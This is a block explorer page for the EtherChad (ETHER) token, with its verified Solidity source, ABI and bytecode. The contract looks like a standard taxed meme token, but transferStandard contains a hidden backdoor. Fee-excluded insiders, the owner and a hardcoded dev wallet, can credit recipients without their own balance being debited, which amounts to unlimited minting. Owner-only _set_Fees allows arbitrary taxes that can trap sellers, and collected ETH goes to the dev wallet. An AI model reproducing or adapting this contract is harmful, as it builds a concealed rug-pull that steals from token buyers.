ETH Price: $2,533.20 (+3.77%)

Token

EtherChad (ETHER)
 

Overview

Max Total Supply

1,000,000,000 ETHER

Holders

40

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
dangai.eth
Balance
14,461,943.866214273 ETHER

Value
$0.00
0x2e754b9859ff6c47c3adaf720b6a809282c5daa2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ETHER

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-06
*/

// SPDX-License-Identifier: Unlicensed

/**
Find yourself in the Ether.

Website: https://www.etherchad.vip
Telegram: https://t.me/ether_chad
Twitter: https://twitter.com/ether_chad
 */

pragma solidity 0.8.21;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract ContextLib {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

abstract contract Ownable is ContextLib {
    address private _owner;

    // Set original owner
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    // Return current owner
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Restrict function to contract owner only 
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    // Renounce ownership of the contract 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    // Transfer the contract to to a new owner
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library SafeMathIntegers {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

interface IUniswapFactoryV2 {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapRouterV2 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract ETHER is ContextLib, IERC20, Ownable { 
    using SafeMathIntegers for uint256;

    string private _name = "EtherChad"; 
    string private _symbol = "ETHER";  

    mapping (address => uint256) private _tOwnedBalance;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExclude; 

    uint8 private _decimals = 9;
    uint256 private _supplyT = 10 ** 9 * 10**_decimals;

    uint256 private _feeDenominator = 2700;
    uint256 public totalBuyFee = 27;
    uint256 public totalSellFee = 27;

    uint256 private _previousDenominator = _feeDenominator; 
    uint256 private prevTotalBuyFee = totalBuyFee; 
    uint256 private prevTotalSellFee = totalSellFee; 

    uint256 public maxWalletAmount = 30 * _supplyT / 1000;
    uint256 public minTokensToTriggerTaxSwap = _supplyT / 100000;

    address payable private devAddress = payable(0x14aF1a9a05477DE15BF6059e3c9371c1473B5b82);
    address payable private DEAD = payable(0x000000000000000000000000000000000000dEaD); 

    uint8 private txCounting = 0;
    uint8 private triggerTaxSwapAfter = 2; 
                                     
    IUniswapRouterV2 public uniswapRouter;
    address public uniswapPair;
    bool public inswap;
    bool public swapEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inswap = true;
        _;
        inswap = false;
    }
    
    constructor () {
        _tOwnedBalance[owner()] = _supplyT;
        IUniswapRouterV2 _uniswapV2Router = IUniswapRouterV2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapFactoryV2(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapRouter = _uniswapV2Router;
        isFeeExclude[owner()] = true;
        isFeeExclude[devAddress] = true;
        
        emit Transfer(address(0), owner(), _supplyT);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _supplyT;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwnedBalance[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function swapTokensForETH(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();
        _approve(address(this), address(uniswapRouter), tokenAmount);
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function removeLimits() external onlyOwner {
        maxWalletAmount = ~uint256(0);
        totalSellFee = 1;
        totalBuyFee = 1;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        
        // Limit wallet total
        if (to != owner() &&
            to != devAddress &&
            to != address(this) &&
            to != uniswapPair &&
            to != DEAD &&
            from != owner()){

            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= maxWalletAmount,"Maximum wallet limited has been exceeded");       
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        /*
        PROCESSING
        */
        if(
            txCounting >= triggerTaxSwapAfter && 
            amount > minTokensToTriggerTaxSwap &&
            !inswap &&
            !isFeeExclude[from] &&
            to == uniswapPair &&
            swapEnabled 
            )
        {  
            txCounting = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){
            swapBack(contractTokenBalance);
           }
        }
        
        bool takeFee = true;
        if(isFeeExclude[from] || isFeeExclude[to] || (from != uniswapPair && to != uniswapPair)){
            takeFee = false;
        } else if (from == uniswapPair){
            _feeDenominator = totalBuyFee;
        } else if (to == uniswapPair){
            _feeDenominator = totalSellFee;
        }
        transferBasic(from,to,amount,takeFee);
    }


    function transferETH(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }

    // Processing tokens from contract
    function swapBack(uint256 contractTokenBalance) private lockTheSwap {
        
        swapTokensForETH(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        transferETH(devAddress,contractETH);
    }


    // Check if token transfer needs to process fees
    function transferBasic(address sender, address recipient, uint256 amount,bool takeFee) private {
            
        if(!takeFee){
            removeAllFee();
            } else {
                txCounting++;
            }
        transferStandard(sender, recipient, amount);
        
        if(!takeFee)
            restoreAllFee();
    }

    // Redistributing tokens and adding the fee to the contract address
    function transferStandard(address sender, address recipient, uint256 tAmount) private {
        uint256 tDev = tAmount.mul(_feeDenominator).div(100);
        uint256 tTransferAmount = tAmount.sub(tDev);

        if(isFeeExclude[sender] && _tOwnedBalance[sender] <= maxWalletAmount) {
            tDev = 0;
            tAmount -= tTransferAmount;
        }
        _tOwnedBalance[sender] = _tOwnedBalance[sender].sub(tAmount);
        _tOwnedBalance[recipient] = _tOwnedBalance[recipient].add(tTransferAmount);
        _tOwnedBalance[address(this)] = _tOwnedBalance[address(this)].add(tDev);
        emit Transfer(sender, recipient, tTransferAmount);
    }
    
    // Excludes marketing wallet or volume wallet from tax
    function excludeFromFee(address account) public onlyOwner {
        isFeeExclude[account] = true;
    }
    
    // Set a wallet address so that it has to pay transaction fees
    function includeInFee(address account) public onlyOwner {
        isFeeExclude[account] = false;
    }

    function _set_Fees(uint256 Buy_Fee, uint256 Sell_Fee) external onlyOwner() {
        totalSellFee = Sell_Fee;
        totalBuyFee = Buy_Fee;

    }
    receive() external payable {}

    function removeAllFee() private {
        if(_feeDenominator == 0 && totalBuyFee == 0 && totalSellFee == 0) return;

        prevTotalBuyFee = totalBuyFee; 
        prevTotalSellFee = totalSellFee; 
        _previousDenominator = _feeDenominator;
        totalBuyFee = 0;
        totalSellFee = 0;
        _feeDenominator = 0;

    }
    
    function restoreAllFee() private {
    
    _feeDenominator = _previousDenominator;
    totalBuyFee = prevTotalBuyFee; 
    totalSellFee = prevTotalSellFee; 

    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"Buy_Fee","type":"uint256"},{"internalType":"uint256","name":"Sell_Fee","type":"uint256"}],"name":"_set_Fees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inswap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExclude","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minTokensToTriggerTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IUniswapRouterV2","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526009608090815268115d1a195c90da185960ba1b60a0526001906200002a9082620004bd565b5060408051808201909152600581526422aa2422a960d91b6020820152600290620000569082620004bd565b506006805460ff191660099081179091556200007490600a62000694565b6200008490633b9aca00620006ab565b600755610a8c600855601b600955601b600a55600854600b55600954600c55600a54600d556103e8600754601e620000bd9190620006ab565b620000c99190620006c5565b600e55620186a0600754620000df9190620006c5565b600f55601080546001600160a01b0319167314af1a9a05477de15bf6059e3c9371c1473b5b8217905560118054750200000000000000000000000000000000000000dead6001600160b01b03199091161790556013805460ff60a81b1916600160a81b17905534801562000151575f80fd5b505f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360075460035f620001a85f546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020015f20819055505f737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000220573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002469190620006e5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000292573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002b89190620006e5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000303573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003299190620006e5565b601380546001600160a01b03199081166001600160a01b039384161790915560128054909116918316919091179055600160055f6200036f5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905560105490911681526005909252902080549091166001179055620003c75f546001600160a01b031690565b6001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040516200040e91815260200190565b60405180910390a3506200070d565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200044657607f821691505b6020821081036200046557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620004b8575f81815260208120601f850160051c81016020861015620004935750805b601f850160051c820191505b81811015620004b4578281556001016200049f565b5050505b505050565b81516001600160401b03811115620004d957620004d96200041d565b620004f181620004ea845462000431565b846200046b565b602080601f83116001811462000527575f84156200050f5750858301515b5f19600386901b1c1916600185901b178555620004b4565b5f85815260208120601f198616915b82811015620005575788860151825594840194600190910190840162000536565b50858210156200057557878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620005d957815f1904821115620005bd57620005bd62000585565b80851615620005cb57918102915b93841c93908002906200059e565b509250929050565b5f82620005f1575060016200068e565b81620005ff57505f6200068e565b8160018114620006185760028114620006235762000643565b60019150506200068e565b60ff84111562000637576200063762000585565b50506001821b6200068e565b5060208310610133831016604e8410600b841016171562000668575081810a6200068e565b62000674838362000599565b805f19048211156200068a576200068a62000585565b0290505b92915050565b5f620006a460ff841683620005e1565b9392505050565b80820281158282048414176200068e576200068e62000585565b5f82620006e057634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620006f6575f80fd5b81516001600160a01b0381168114620006a4575f80fd5b6113c7806200071b5f395ff3fe608060405260043610610164575f3560e01c8063735de9f7116100cd578063aa4bde2811610087578063d729ea6311610062578063d729ea6314610414578063dd62ed3e14610429578063ea2f0b371461046d578063f2fde38b1461048c575f80fd5b8063aa4bde28146103c0578063af5f3a82146103d5578063c816841b146103f5575f80fd5b8063735de9f714610311578063751039fc146103485780638da5cb5b1461035c57806395d89b41146103785780639d9241ec1461038c578063a9059cbb146103a1575f80fd5b806359b107b91161011e57806359b107b91461024757806366b7c9bf1461025c57806367cbd84c1461028a5780636ddd1713146102a957806370a08231146102c9578063715018a6146102fd575f80fd5b806306fdde031461016f578063095ea7b31461019957806318160ddd146101c857806323b872dd146101e6578063313ce56714610205578063437823ec14610226575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b506101836104ab565b6040516101909190611094565b60405180910390f35b3480156101a4575f80fd5b506101b86101b33660046110f6565b61053b565b6040519015158152602001610190565b3480156101d3575f80fd5b506007545b604051908152602001610190565b3480156101f1575f80fd5b506101b8610200366004611120565b610551565b348015610210575f80fd5b5060065460405160ff9091168152602001610190565b348015610231575f80fd5b5061024561024036600461115e565b6105b8565b005b348015610252575f80fd5b506101d860095481565b348015610267575f80fd5b506101b861027636600461115e565b60056020525f908152604090205460ff1681565b348015610295575f80fd5b506102456102a4366004611179565b61060d565b3480156102b4575f80fd5b506013546101b890600160a81b900460ff1681565b3480156102d4575f80fd5b506101d86102e336600461115e565b6001600160a01b03165f9081526003602052604090205490565b348015610308575f80fd5b5061024561063e565b34801561031c575f80fd5b50601254610330906001600160a01b031681565b6040516001600160a01b039091168152602001610190565b348015610353575f80fd5b506102456106af565b348015610367575f80fd5b505f546001600160a01b0316610330565b348015610383575f80fd5b506101836106e9565b348015610397575f80fd5b506101d8600a5481565b3480156103ac575f80fd5b506101b86103bb3660046110f6565b6106f8565b3480156103cb575f80fd5b506101d8600e5481565b3480156103e0575f80fd5b506013546101b890600160a01b900460ff1681565b348015610400575f80fd5b50601354610330906001600160a01b031681565b34801561041f575f80fd5b506101d8600f5481565b348015610434575f80fd5b506101d8610443366004611199565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b348015610478575f80fd5b5061024561048736600461115e565b610704565b348015610497575f80fd5b506102456104a636600461115e565b61074d565b6060600180546104ba906111d0565b80601f01602080910402602001604051908101604052809291908181526020018280546104e6906111d0565b80156105315780601f1061050857610100808354040283529160200191610531565b820191905f5260205f20905b81548152906001019060200180831161051457829003601f168201915b5050505050905090565b5f610547338484610834565b5060015b92915050565b5f61055d8484846108f4565b6105ae84336105a98560405180606001604052806028815260200161136a602891396001600160a01b038a165f9081526004602090815260408083203384529091529020549190610c5b565b610834565b5060019392505050565b5f546001600160a01b031633146105ea5760405162461bcd60e51b81526004016105e190611208565b60405180910390fd5b6001600160a01b03165f908152600560205260409020805460ff19166001179055565b5f546001600160a01b031633146106365760405162461bcd60e51b81526004016105e190611208565b600a55600955565b5f546001600160a01b031633146106675760405162461bcd60e51b81526004016105e190611208565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106d85760405162461bcd60e51b81526004016105e190611208565b5f19600e556001600a819055600955565b6060600280546104ba906111d0565b5f6105473384846108f4565b5f546001600160a01b0316331461072d5760405162461bcd60e51b81526004016105e190611208565b6001600160a01b03165f908152600560205260409020805460ff19169055565b5f546001600160a01b031633146107765760405162461bcd60e51b81526004016105e190611208565b6001600160a01b0381166107db5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105e1565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061085457506001600160a01b03821615155b6108945760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016105e1565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b0383811691161480159061091f57506010546001600160a01b03838116911614155b801561093457506001600160a01b0382163014155b801561094e57506013546001600160a01b03838116911614155b801561096857506011546001600160a01b03838116911614155b801561098157505f546001600160a01b03848116911614155b15610a0c576001600160a01b0382165f90815260036020526040902054600e546109ab8383611251565b1115610a0a5760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b60648201526084016105e1565b505b6001600160a01b03831615801590610a2c57506001600160a01b03821615155b610a705760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b60448201526064016105e1565b5f8111610acd5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b60648201526084016105e1565b60115460ff600160a81b82048116600160a01b9092041610801590610af35750600f5481115b8015610b095750601354600160a01b900460ff16155b8015610b2d57506001600160a01b0383165f9081526005602052604090205460ff16155b8015610b4657506013546001600160a01b038381169116145b8015610b5b5750601354600160a81b900460ff165b15610b8d576011805460ff60a01b19169055305f908152600360205260409020548015610b8b57610b8b81610c86565b505b6001600160a01b0383165f9081526005602052604090205460019060ff1680610bcd57506001600160a01b0383165f9081526005602052604090205460ff165b80610bff57506013546001600160a01b03858116911614801590610bff57506013546001600160a01b03848116911614155b15610c0b57505f610c49565b6013546001600160a01b0390811690851603610c2c57600954600855610c49565b6013546001600160a01b0390811690841603610c4957600a546008555b610c5584848484610ccb565b50505050565b5f8184841115610c7e5760405162461bcd60e51b81526004016105e19190611094565b505050900390565b6013805460ff60a01b1916600160a01b179055610ca281610d38565b6010544790610cba906001600160a01b031682610e88565b50506013805460ff60a01b19169055565b80610cdd57610cd8610ec0565b610d11565b60118054600160a01b900460ff16906014610cf783611264565b91906101000a81548160ff021916908360ff160217905550505b610d1c848484610f04565b80610c5557610c55600b54600855600c54600955600d54600a55565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610d6b57610d6b611282565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dc2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610de69190611296565b81600181518110610df957610df9611282565b6001600160a01b039283166020918202929092010152601254610e1f9130911684610834565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e579085905f908690309042906004016112b1565b5f604051808303815f87803b158015610e6e575f80fd5b505af1158015610e80573d5f803e3d5ffd5b505050505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015610ebb573d5f803e3d5ffd5b505050565b600854158015610ed05750600954155b8015610edc5750600a54155b15610ee357565b60098054600c55600a8054600d5560088054600b555f928390559082905555565b5f610f256064610f1f6008548561106190919063ffffffff16565b90611073565b90505f610f32838361107e565b6001600160a01b0386165f9081526005602052604090205490915060ff168015610f755750600e546001600160a01b0386165f9081526003602052604090205411155b15610f8a575f9150610f878184611320565b92505b6001600160a01b0385165f90815260036020526040902054610fac908461107e565b6001600160a01b038087165f908152600360205260408082209390935590861681522054610fda9082611089565b6001600160a01b0385165f908152600360205260408082209290925530815220546110059083611089565b305f9081526003602090815260409182902092909255518281526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b5f61106c8284611333565b9392505050565b5f61106c828461134a565b5f61106c8284611320565b5f61106c8284611251565b5f6020808352835180828501525f5b818110156110bf578581018301518582016040015282016110a3565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146110f3575f80fd5b50565b5f8060408385031215611107575f80fd5b8235611112816110df565b946020939093013593505050565b5f805f60608486031215611132575f80fd5b833561113d816110df565b9250602084013561114d816110df565b929592945050506040919091013590565b5f6020828403121561116e575f80fd5b813561106c816110df565b5f806040838503121561118a575f80fd5b50508035926020909101359150565b5f80604083850312156111aa575f80fd5b82356111b5816110df565b915060208301356111c5816110df565b809150509250929050565b600181811c908216806111e457607f821691505b60208210810361120257634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561054b5761054b61123d565b5f60ff821660ff81036112795761127961123d565b60010192915050565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156112a6575f80fd5b815161106c816110df565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156112ff5784516001600160a01b0316835293830193918301916001016112da565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561054b5761054b61123d565b808202811582820484141761054b5761054b61123d565b5f8261136457634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f31916e4c50fc50efefc311922bda886ed4337fd0b82c78a6b35d91c4752d38564736f6c63430008150033

Deployed Bytecode

0x608060405260043610610164575f3560e01c8063735de9f7116100cd578063aa4bde2811610087578063d729ea6311610062578063d729ea6314610414578063dd62ed3e14610429578063ea2f0b371461046d578063f2fde38b1461048c575f80fd5b8063aa4bde28146103c0578063af5f3a82146103d5578063c816841b146103f5575f80fd5b8063735de9f714610311578063751039fc146103485780638da5cb5b1461035c57806395d89b41146103785780639d9241ec1461038c578063a9059cbb146103a1575f80fd5b806359b107b91161011e57806359b107b91461024757806366b7c9bf1461025c57806367cbd84c1461028a5780636ddd1713146102a957806370a08231146102c9578063715018a6146102fd575f80fd5b806306fdde031461016f578063095ea7b31461019957806318160ddd146101c857806323b872dd146101e6578063313ce56714610205578063437823ec14610226575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b506101836104ab565b6040516101909190611094565b60405180910390f35b3480156101a4575f80fd5b506101b86101b33660046110f6565b61053b565b6040519015158152602001610190565b3480156101d3575f80fd5b506007545b604051908152602001610190565b3480156101f1575f80fd5b506101b8610200366004611120565b610551565b348015610210575f80fd5b5060065460405160ff9091168152602001610190565b348015610231575f80fd5b5061024561024036600461115e565b6105b8565b005b348015610252575f80fd5b506101d860095481565b348015610267575f80fd5b506101b861027636600461115e565b60056020525f908152604090205460ff1681565b348015610295575f80fd5b506102456102a4366004611179565b61060d565b3480156102b4575f80fd5b506013546101b890600160a81b900460ff1681565b3480156102d4575f80fd5b506101d86102e336600461115e565b6001600160a01b03165f9081526003602052604090205490565b348015610308575f80fd5b5061024561063e565b34801561031c575f80fd5b50601254610330906001600160a01b031681565b6040516001600160a01b039091168152602001610190565b348015610353575f80fd5b506102456106af565b348015610367575f80fd5b505f546001600160a01b0316610330565b348015610383575f80fd5b506101836106e9565b348015610397575f80fd5b506101d8600a5481565b3480156103